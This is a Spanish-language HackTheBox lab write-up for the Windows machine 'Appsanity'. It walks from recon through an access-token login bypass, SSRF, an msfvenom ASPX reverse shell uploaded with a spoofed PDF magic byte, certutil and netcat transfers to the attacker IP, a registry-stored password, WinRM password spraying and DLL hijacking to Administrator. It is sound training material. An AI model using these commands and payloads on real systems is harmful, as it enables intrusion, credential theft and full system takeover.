Appsanity – HackTheBox Link to heading
- OS: Windows
- Dificultad: Hard/Difícil
- Plataforma: HackTheBox
User / Usuario Link to heading
El escaneo de Nmap muestra 3 puertos abiertos: 80 HTTP, 443 HTTPs, y 5895 Windows Remote Management (WinRM).
# Nmap 7.94SVN scan initiated Thu Mar 7 22:16:14 2024 as: nmap -sVC -p80,443,5985,7680 -oN targeted 10.10.11.238
Nmap scan report for 10.10.11.238
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://meddigi.htb/
443/tcp open https?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Del scan de Nmap puedo ver que para el puerto 80 éste redirige al dominio meddigi.htb. De manera que agrego este dominio al archivo /etc/hosts:
❯ sudo echo '10.10.11.238 meddigi.htb' >> /etc/hosts
Visitando https://meddigi.htb (y luego de “aceptar el riesgo” puesto que la página tiene un certificado autofirmado) puedo ver una página web que ofrece servicios médicos:
En la parte superior derecha de la página web puedo un panel de login, en el cual además puedo crearme un usuario/cuenta. Pruebo las típicas credenciales admin:admin y similares, pero no funciona.
Me creo un usuario, logueo y puedo ver algo como lo siguiente:
Continúo analizando la página web, pero no hallo nada interesante.
Ahora, intentare encontrar Virtual Hostings (Vhosts) usando ffuf:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://meddigi.htb/ -H 'Host: FUZZ.meddigi.htb'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://meddigi.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.meddigi.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
portal [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 2833ms]
:: Progress: [4989/4989] :: Job [1/1] :: 60 req/sec :: Duration: [0:01:27] :: Errors: 0 ::
y encuentro algo: portal. De manera que agrego portal.meddigi.htb en la misma línea donde previamente había agregado meddigi.htb en mi archivo /etc/hosts, de manera que ahora éste se ve como:
❯ cat /etc/hosts
127.0.0.1 localhost
<SNIP>
10.10.11.238 meddigi.htb portal.meddigi.htb
Luego de agregar este sitio a mi archivo /etc/hosts visito https://portal.meddigi.htb y puedo ver un portal de login:
Aparentemente, es un portal hecho para que los médicos que trabajan en la empresa puedan entrar
Devuelta al sitio https://meddigi.htb me intento crear una nueva cuenta, pero esta vez interceptaré la petición al crear la cuenta con Burpsuite. Noto que cuando me creo una cuenta puedo ver un parámetro en la petición llamado Acctype, el cual por defecto tiene el valor 1. De manera que cambio ese valor a Acctype=2 y mantengo todo el resto de los parámetros exactamente iguales.
Ahora voy a la sección Sign In del sitio web https://meddigi.htb, pero esta vez me logueo con la nueva cuenta creada llamada testTwo (dado que el sitio web no aceptaba números para los parámetros First Name y Last Name al crear el usuario). Ahora mi panel al loguear es levemente diferente, dado que ahora puedo ver, al lado derecho, la opción Patients (Pacientes) la cual muestra los usuarios que me había creado previamente cuando estaba testeando la página:
de manera que, al parecer, hemos creado exitosamente un usuario con el rol Doctor (o algo por el estilo)
Como sea, aparentemente sólo puedo ver usuarios (pacientes) y nada más.
De vuelta al sitio web https://portal.meddigi.htb decido chequear las cookies. En Firefox hago lo siguiente: Click Derecho -> Inspect -> Storage. Pero no veo ninguna cookie/data guardada. No obstante, si clickeamos en el símbolo “Más” + al lado derecho (si pongo mi mouse encima de éste dice Add Item (Añadir ítem)) puedo agregar/modificar la data guardada.
¿Qué pasa si agregamos las cookies/data guardada del sitio web https://meddigi.htb de nuestra cuenta creada como Doctor, pero ahora en este sitio web? De manera que veo mis cookies de https://meddigi.htb
Copio el valor de access_token y lo paso a la web https://portal.meddigi.htb:
Recargo la página y estamos dentro. De manera que hemos bypasseado el login:
Una vez dentro puedo ver muchas opciones en este manel disponibles al lado izquierdo de éste. Issue Prescriptions llama mi atención dado que lo puedo llenar con datos. Luego de probar distintas cosas, noto que podemos realizar un Server-Side Request Forgery (SSRF) si llamamos http://127.0.0.1:8080 en el campo Prescription Link:
Si hago click en Submit puedo ver reportes que aparecen en una ventana emergente.
Desde la ventana emergente del SSRF noto que, cuando pongo mi mouse sobre la palabra/link View Report, el server interpreta archivos aspx dado que tenemos una variable llamada ViewReport.aspx. Por esta razón me creo un archivo malicioso.aspx usando msfvenom:
❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3425 bytes
Saved as: shell.aspx
donde 10.10.16.6 es mi IP de atacante y 443 es el puerto por el cual empezaré a escuchar con netcat. Llamaré a este archivo shell.aspx
Al lado izquierdo hago click en Upload Report, relleno los datos con cualquier data random, pero al final adjunto el archivo malicioso shell.aspx e intento subirlo
Al principio esto no funciona dado que, aparentemente, hay un filtro que no está aceptando el archivo subido. De manera que al subir el archivo intercepto la petición con Burpsuite, y, al principio del payload agrego el magic byte %PDF-1.7 y el archivo, aparentemente, se sube.
Devuelta a la pestaña Issue Prescriptions, relleno el campo Email address con lo que sea y Prescription Link con http://127.0.0.1:8080 para explotar/abusar del SSRF y puedo ver lo siguiente; el archivo malicioso:
donde, si nos fijamos en la parte inferior izquierda de la imagen anterior, podemos ver el link que es llamado cuando clickeamos sobre éste.
En mi reporte malicioso (el link View Report), hago click derecho sobre éste y luego en Copy Link (Copiar Link) donde obtengo:
https://portal.meddigi.htb/ViewReport.aspx?file=7b6ed9d4-8963-4d79-9189-abd49df52ad1_shell.aspx
pero dado que en realidad quiero abusar del SSRF, cambiaré la parte que dice https://portal.meddigi.htb a http://127.0.0.1:8080, de manera que esta variable/url queda como:
http://127.0.0.1:8080/ViewReport.aspx?file=7b6ed9d4-8963-4d79-9189-abd49df52ad1_shell.aspx
Finalmente, empiezo un listener con netcat en el puerto 443:
❯ rlwrap nc -lvnp 443
y en la página web, en el campo Prescription Link, procedo a pasar el link indicado arriba:
clickeo en Submit
Y obtengo una reverse shell:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51532
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
appsanity\svc_exampanel
donde podemos obtener la flag de usuario en el Desktop de svc_exampanel.
NT Authority/System - Administrator / Administrador Link to heading
Este usuario no tiene ningún permiso que llame la atención:
C:\Users>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
de manera que descarto este vector de momento
Puedo ver un directorio inetpub ubicado en C:\:
c:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is F854-971D
Directory of c:\
09/24/2023 01:25 AM <DIR> inetpub
09/24/2023 10:30 AM <DIR> Microsoft
12/07/2019 01:14 AM <DIR> PerfLogs
10/23/2023 03:59 PM <DIR> Program Files
09/24/2023 03:59 PM <DIR> Program Files (x86)
03/07/2024 07:28 PM <DIR> Users
10/23/2023 11:40 AM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 3,995,791,360 bytes free
Luego de husmear un poco, llego a la carpeta/directorio:
c:\inetpub\ExaminationPanel\ExaminationPanel\bin>dir
dir
Volume in drive C has no label.
Volume Serial Number is F854-971D
Directory of c:\inetpub\ExaminationPanel\ExaminationPanel\bin
09/26/2023 06:30 AM <DIR> .
09/26/2023 06:30 AM <DIR> ..
09/24/2023 07:46 AM 4,991,352 EntityFramework.dll
09/24/2023 07:46 AM 591,752 EntityFramework.SqlServer.dll
09/24/2023 07:46 AM 13,824 ExaminationManagement.dll
09/24/2023 07:46 AM 40,168 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
09/24/2023 07:49 AM <DIR> roslyn
09/24/2023 07:46 AM 431,792 System.Data.SQLite.dll
09/24/2023 07:46 AM 206,512 System.Data.SQLite.EF6.dll
09/24/2023 07:46 AM 206,520 System.Data.SQLite.Linq.dll
09/24/2023 07:49 AM <DIR> x64
09/24/2023 07:49 AM <DIR> x86
7 File(s) 6,481,920 bytes
5 Dir(s) 3,995,791,360 bytes free
Para transferir archivos desde la máquina víctima Windows a mi máquina atacante Linux procedo a subir un binario de netcat para Windows. Empiezo un servidor Python HTTP temporal en el puerto 80:
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
y en la máquina víctima (luego de moverme a C:\Users\Public\Downloads\, un directorio donde sí tengo permiso de escritura de archivos) descargo el ejecutable de netcat usando certutil:
c:\inetpub\ExaminationPanel\ExaminationPanel\bin>cd C:\Users\Public\Downloads
cd C:\Users\Public\Downloads
C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6:80/nc.exe .\nc.exe
certutil.exe -urlcache -split -f http://10.10.16.6:80/nc.exe .\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
C:\Users\Public\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is F854-971D
Directory of C:\Users\Public\Downloads
03/07/2024 07:57 PM <DIR> .
03/07/2024 07:57 PM <DIR> ..
03/07/2024 07:57 PM 45,272 nc.exe
1 File(s) 45,272 bytes
2 Dir(s) 3,995,688,960 bytes free
Ahora sí puedo pasar los archivos. Más específicamente, voy a trensferir el archivo ExaminationManagement.dll localizado en c:\inetpub\ExaminationPanel\ExaminationPanel\bin. En la máquina víctima procedo a correr:
C:\Users\Public\Downloads>.\nc.exe 10.10.16.6 4444 -w 3 < c:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll
.\nc.exe 10.10.16.6 4444 -w 3 < c:\inetpub\ExaminationPanel\ExaminationPanel\bin\ExaminationManagement.dll
y en mi listener de netcat obtengo y guardo el archivo:
❯ nc -lvnp 4444 > ExaminationManagement.dll
listening on [any] 4444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51540
❯ ls -la
total 24
drwxr-xr-x 2 gunzf0x gunzf0x 4096 Mar 8 01:03 .
drwxr-xr-x 5 gunzf0x gunzf0x 4096 Mar 7 22:12 ..
-rw-r--r-- 1 gunzf0x gunzf0x 13824 Mar 8 01:03 ExaminationManagement.dll
.aspx puede que muera cuando pasemos los archivos usando netcat, así que esto puede ser tedioso. De todas formas, aquí noto que el tamaño del archivo ExaminationManagement.dll es el mismo tanto en la máquina víctima como en la mía, de manera que se debería haber traspasado correctamente (para ser honesto me da flojera comprobar los hashes md5, de momento).Paso el archivo descargado de mi máquina Kali a una Máquina Virtual con Windows dado que usaré dnSpy (el cual podemos descargar desde su repositorio de Github) y hacer un poco de Reverse Engineering (Ingeniería Inversa). Luego de analizar el archivo con dnSpy puedo ver algo aparentemente interesante en ExaminationPanel -> ViewReport:
Este archivo .dll está llamando un registry key, el cual podría contener credenciales, a Software\\MedDigi
Devuelta a la shell obtenida con el SSRF en el portal del sitio web, podemos intentar leer este registry key:
c:\windows\system32\inetsrv>reg query HKEY_LOCAL_MACHINE\Software\MedDigi
reg query HKEY_LOCAL_MACHINE\Software\MedDigi
HKEY_LOCAL_MACHINE\Software\MedDigi
EncKey REG_SZ 1g0tTh3R3m3dy!!
y tenemos, aparentemente, una contraseña.
No obstante, tenemos más usuarios en esta máquina:
c:\windows\system32\inetsrv>dir C:\Users
dir C:\Users
Volume in drive C has no label.
Volume Serial Number is F854-971D
Directory of C:\Users
03/07/2024 07:28 PM <DIR> .
03/07/2024 07:28 PM <DIR> ..
10/18/2023 05:08 PM <DIR> Administrator
09/24/2023 10:16 AM <DIR> devdoc
09/15/2023 05:59 AM <DIR> Public
10/18/2023 05:40 PM <DIR> svc_exampanel
10/17/2023 02:05 PM <DIR> svc_meddigi
10/18/2023 06:10 PM <DIR> svc_meddigiportal
0 File(s) 0 bytes
8 Dir(s) 3,995,529,216 bytes free
de manera que guardo todos estos usuarios dentro de un archivo y uso crackmapexec para chequear si estas credenciales son válidas para algunos de los usuarios via WinRM (dado que, recordemos, el scan de Nmap mostró que este servicio estaba disponible en la máquina).
❯ crackmapexec winrm 10.10.11.238 -u potential_users.txt -p '1g0tTh3R3m3dy!!' --continue-on-success
SMB 10.10.11.238 5985 NONE [*] None (name:10.10.11.238) (domain:None)
HTTP 10.10.11.238 5985 NONE [*] http://10.10.11.238:5985/wsman
WINRM 10.10.11.238 5985 NONE [-] None\Administrator:1g0tTh3R3m3dy!!
WINRM 10.10.11.238 5985 NONE [+] None\devdoc:1g0tTh3R3m3dy!! (Pwn3d!)
WINRM 10.10.11.238 5985 NONE [-] None\svc_exampanel:1g0tTh3R3m3dy!!
WINRM 10.10.11.238 5985 NONE [-] None\svc_meddigi:1g0tTh3R3m3dy!!
WINRM 10.10.11.238 5985 NONE [-] None\svc_meddigiportal:1g0tTh3R3m3dy!!
como podemos ver hemos encontrado las credenciales devdoc:1g0tTh3R3m3dy!!
Me logueo en la máquina víctima usando evil-winrm y la credencial encontrada, pero ahora impersonando al usuario devdoc:
❯ evil-winrm -i 10.10.11.238 -u devdoc -p '1g0tTh3R3m3dy!!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\devdoc\Documents>
Luego de mirar archivos encuentro el directorio C:\Program Files\ReportManagement:
*Evil-WinRM* PS C:\Program Files\ReportManagement> dir
Directory: C:\Program Files\ReportManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2023 11:33 AM Libraries
-a---- 5/5/2023 5:21 AM 34152 cryptbase.dll
-a---- 5/5/2023 5:21 AM 83744 cryptsp.dll
-a---- 3/11/2021 9:22 AM 564112 msvcp140.dll
-a---- 9/17/2023 3:54 AM 140512 profapi.dll
-a---- 10/20/2023 2:56 PM 102912 ReportManagement.exe
-a---- 10/20/2023 1:47 PM 11492864 ReportManagementHelper.exe
-a---- 3/11/2021 9:22 AM 96144 vcruntime140.dll
-a---- 3/11/2021 9:22 AM 36752 vcruntime140_1.dll
-a---- 5/5/2023 5:21 AM 179248 wldp.dll
Noto que este directorio es curioso, dado que si quiero chequear su contenido como el usuario svc_exampanel (el usuario con el cual obuvimos previo acceso con la reverse shell), no podemos ver su contenido:
c:\windows\system32\inetsrv>cd c:\program files
cd c:\program files
c:\Program Files>cd ReportManagement
cd ReportManagement
Access is denied.
dado que si chequeamos los permisos de este directorio con icacls tenemos que:
c:\Program Files>icacls ReportManagement
icacls ReportManagement
ReportManagement CREATOR OWNER:(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
BUILTIN\Users:(OI)(CI)(R)
APPSANITY\devdoc:(RX)
NT SERVICE\TrustedInstaller:(CI)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
y, como ya vimos previamente, devdoc en efecto puede leer el contenido de este directorio
Devuelta a la consola con evil-winrm, descargo uno de los archivos .exe; llamado ReportManagement.exe
*Evil-WinRM* PS C:\Program Files\ReportManagement> download ReportManagement.exe
Info: Downloading C:\Program Files\ReportManagement\ReportManagement.exe to ReportManagement.exe
Info: Download successful!
Usaré Ghidra para decompilar este binario. Luego de una laaarga búsqueda, al fin puedo ver algo:
Noto que este programa crea un backup/respaldo en el directorio C:\Users\Administrator\Backup:
Y encuentro algunas instrucciones interesantes:
de manera que, aparentemente, el archivo llama un archivo localizado en C:\Users\Program Files\ReportManagement\Libraries para un comando llamado upload. Es más, este archivo aparentemente se llama externalupload.dll:
Chequeo si puedo crear archivos dentro del directorio Libraries:
*Evil-WinRM* PS C:\program files\ReportManagement> ls
Directory: C:\program files\ReportManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/23/2023 11:33 AM Libraries
-a---- 5/5/2023 5:21 AM 34152 cryptbase.dll
-a---- 5/5/2023 5:21 AM 83744 cryptsp.dll
-a---- 3/11/2021 9:22 AM 564112 msvcp140.dll
-a---- 9/17/2023 3:54 AM 140512 profapi.dll
-a---- 10/20/2023 2:56 PM 102912 ReportManagement.exe
-a---- 10/20/2023 1:47 PM 11492864 ReportManagementHelper.exe
-a---- 3/11/2021 9:22 AM 96144 vcruntime140.dll
-a---- 3/11/2021 9:22 AM 36752 vcruntime140_1.dll
-a---- 5/5/2023 5:21 AM 179248 wldp.dll
*Evil-WinRM* PS C:\program files\ReportManagement> icacls Libraries
Libraries APPSANITY\devdoc:(OI)(CI)(RX,W)
BUILTIN\Administrators:(I)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(R)
NT SERVICE\TrustedInstaller:(I)(CI)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
y, como el usuario devdoc, podemos.
Si chequeo qué puertos internos están abiertos en la máquina encuentro uno que no es muy común:
*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> cmd /c 'netstat -an | find "LISTENING"'
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:100 0.0.0.0:0 LISTENING
<SNIP>
Hay un servicio corriendo internamente en el puerto 100
Primero, noto que este servicio no es un sitio web (o algo relacionado):
*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> cmd /c curl http://127.0.0.1:100
cmd.exe : % Total % Received % Xferd Average Speed Time Time Time Current
+ CategoryInfo : NotSpecified: ( % Total % ... Time Current:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (1) Received HTTP/0.9 when not allowed
No soy capaz de re-usar el binario netcat para Windows que había usado para descargar el archivo ExaminationManagement.dll previamente, esto dado que el directorio C:\Users\Public\Downloads me deniega el acceso como el usuario devdoc (lo cual es rarete, pero bueno…), de manera que vuelvo a subir un binario de netcat en C:\Users\devdoc\Downloads.
Ahora uso este binario re-subido de netcat, pero esta vez como objetivo el localhost en el puerto 100 y obtengo:
*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> C:\Users\devdoc\Downloads\nc.exe 127.0.0.1 100
Reports Management administrative console. Type "help" to view available commands.
de manera que, aparentemente, el binario que decompilamos previamente es el servicio corriendo en el puerto 100. Pero si typeo/escribo help en la consola (tal cual sugiere el mismo servicio) el programa se cuelga/no responde.
Adicionalmente necesitamos una manera de “activar” este servicio corriendo en el puerto 100 y, además, crear un archivo dll malicioso.
Usando msfvenom ahora creo un archivo malicioso dll:
❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f dll -o externalupload.dll
en la máquina víctima voy a C:\Program Files\ReportManagement\Libraries y subo el archivo malicioso:
*Evil-WinRM* PS C:\Users\devdoc\Documents> cd C:\'program files'\ReportManagement\Libraries
*Evil-WinRM* PS C:\program files\ReportManagement\Libraries> upload ../exploits/externalupload.dll
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Appsanity/content/../exploits/externalupload.dll to C:\program files\ReportManagement\Libraries\externalupload.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
Ahora, tenemos 2 opciones: i) Intentar un Remote Port Forwarding para convertir/redirigir el tráfico del puerto 100 desde la máquina víctima a algún puerto de nuestra máquina atacante o, ii) Más simple, noto que si corro nc.exe contra localhost desde la consola de evil-winrm, la cual es una consola con Powershell, esto no funciona muy bien; de manera que cuando llamamos ejecutamos nc.exe 127.0.0.1 100 la consola no responde. Como sea, si me lanzo una reverse shell desde evil-winrm a un listener de netcat para pasar de Powershell a una CMD noto que correr nc.exe contra el localhost funciona bien. De manera procedo a correr:
*Evil-WinRM* PS C:\Users\devdoc\Documents> C:\Users\devdoc\Downloads\nc.exe 10.10.16.6 444 -e cmd
y cambio de una consola Powershell a una CMD, donde, de nuevo, puedo correr el servicio en 127.0.0.1:100 sin problemas:
❯ rlwrap nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51547
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.
C:\Users\devdoc\Documents>cd ..\Downloads
cd ..\Downloads
C:\Users\devdoc\Downloads>.\nc.exe 127.0.0.1 100
.\nc.exe 127.0.0.1 100
Reports Management administrative console. Type "help" to view available commands.
help
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.
Finalmente, empiezo un listener con netcat en el puerto 443 (el mismo que he definido cuando me había creado el archivo malicioso .dll). En la máquina víctima procedo a correr:
C:\program files\ReportManagement\Libraries>dir
dir
Volume in drive C has no label.
Volume Serial Number is F854-971D
Directory of C:\program files\ReportManagement\Libraries
03/07/2024 10:27 PM <DIR> .
03/07/2024 10:27 PM <DIR> ..
03/07/2024 10:27 PM 9,216 externalupload.dll
1 File(s) 9,216 bytes
2 Dir(s) 3,994,132,480 bytes free
C:\program files\ReportManagement\Libraries>C:\Users\devdoc\Downloads\nc.exe 127.0.0.1 100
C:\Users\devdoc\Downloads\nc.exe 127.0.0.1 100
Reports Management administrative console. Type "help" to view available commands.
help
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.
upload externalupload.dll
Y en mi listener de netcat finalmente obtengo:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.238] 51557
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\ReportManagement>whoami
whoami
appsanity\administrator
donde podemos obtener la flag en el escritorio del usuario Administrator
~Happy Hacking